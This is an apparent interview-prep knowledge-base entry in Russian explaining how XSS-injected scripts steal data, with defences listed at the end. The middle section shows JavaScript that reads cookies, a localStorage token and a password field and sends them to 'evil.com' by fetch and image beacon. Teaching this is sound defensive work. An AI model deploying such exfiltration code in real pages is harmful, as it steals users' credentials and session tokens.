PassFront
  1. PassFront
  2. База знаний
  3. Продвинутые темы

Как вредоносный код может начать отправлять данные на сервисе?

Продвинутые темы

Вредоносный код может начать отправлять данные через XSS-уязвимость: внедрённый скрипт получает доступ к данным страницы (cookie, localStorage, ввод) и отправляет их на сервер злоумышленника.

Как это происходит

1. Внедрение через XSS

Если приложение выводит пользовательский ввод без экранирования, злоумышленник внедряет скрипт:

// Уязвимость: неэкранированный вывод
element.innerHTML = userInput; // <script>steal()</script>

2. Кража данных

Внедрённый скрипт получает доступ к данным страницы:

// Вредоносный код
const stolen = {
  cookies: document.cookie,           // токены (если не HttpOnly)
  storage: localStorage.getItem('token'),
  input: document.querySelector('#password').value,
};

3. Отправка на сервер злоумышленника

fetch('https://evil.com/steal', {
  method: 'POST',
  body: JSON.stringify(stolen),
});
// или через image beacon
new Image().src = `https://evil.com/?data=${encodeURIComponent(...)}`;

Другие векторы

  • Скомпрометированная зависимость (supply chain) — вредоносный npm-пакет.
  • Сторонний скрипт (реклама, виджет) с доступом к странице.

Как защититься

  • CSP — connect-src ограничивает, куда можно слать запросы; блокирует внедрённые скрипты.
  • Экранирование ввода — предотвратить XSS.
  • HttpOnly cookie — токены недоступны JS.
  • Аудит зависимостей.

Коротко для собеседования

Вредоносный код обычно попадает через XSS (неэкранированный ввод) — внедрённый скрипт читает cookie, localStorage, поля ввода и отправляет их на сервер злоумышленника (fetch/image beacon). Также вектор — вредоносные зависимости/сторонние скрипты. Защита: экранирование (против XSS), CSP (connect-src ограничивает отправку), HttpOnly cookie, аудит зависимостей.

Другие вопросы раздела